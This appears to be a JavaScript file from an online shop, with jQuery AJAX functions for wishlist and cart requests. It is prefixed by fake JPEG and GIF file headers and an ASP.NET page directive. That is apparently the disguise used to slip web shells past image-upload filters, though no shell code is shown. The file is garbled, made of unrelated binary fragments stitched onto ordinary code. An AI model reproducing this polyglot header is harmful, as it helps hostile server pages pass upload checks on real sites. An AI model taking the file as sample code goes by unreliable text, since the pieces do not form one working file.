ÿØÿà JFIF ÿÛ C $.' ",#(7),01444'9=82<.342ÿÛ C 2!!22222222222222222222222222222222222222222222222222ÿþGIF89a; <%@ Page Language="C#" %>
ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.-
ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.-
"use strict";
// Add To WishList Cart
function addToWishlist(item_id, element, type = 'product') {
$.ajax({
url: $(element).data('url'), // Get URL from data attribute
type: "POST",
data: {
item_id: item_id,
item_type: type,
_token: document.querySelector('meta[name="csrf-token"]').content
},
success: function (response) {
$(element).toggleClass('active');
toastr.success(response.message);
},
error: function (xhr) {
toastr.error(xhr.responseJSON.message);
}
});
}
function addToCart(productId, element) {
var quantity = $('input[name="quantity"]').val() || 1;
$.ajax({
url: $(element).data('url'),
type: 'POST',
data: {
product_id: productId,
quantity: quantity,
_token: document.querySelector('meta[name="csrf-token"]').content
},
beforeSend: function () {
$(element).attr("disabled", true);
},
complete: function () {
$(element).attr("disabled", false);
},
success: function (response) {
if (response.success) {
$('.cart-count, .tg-header-cart-count').text(response.totalCartItem);
toastr.success(response.message);
} else {
toastr.error(response.message);
}
},
error: function (xhr, status, error) {
console.error("AJAX error:", xhr.responseText);
}
});
}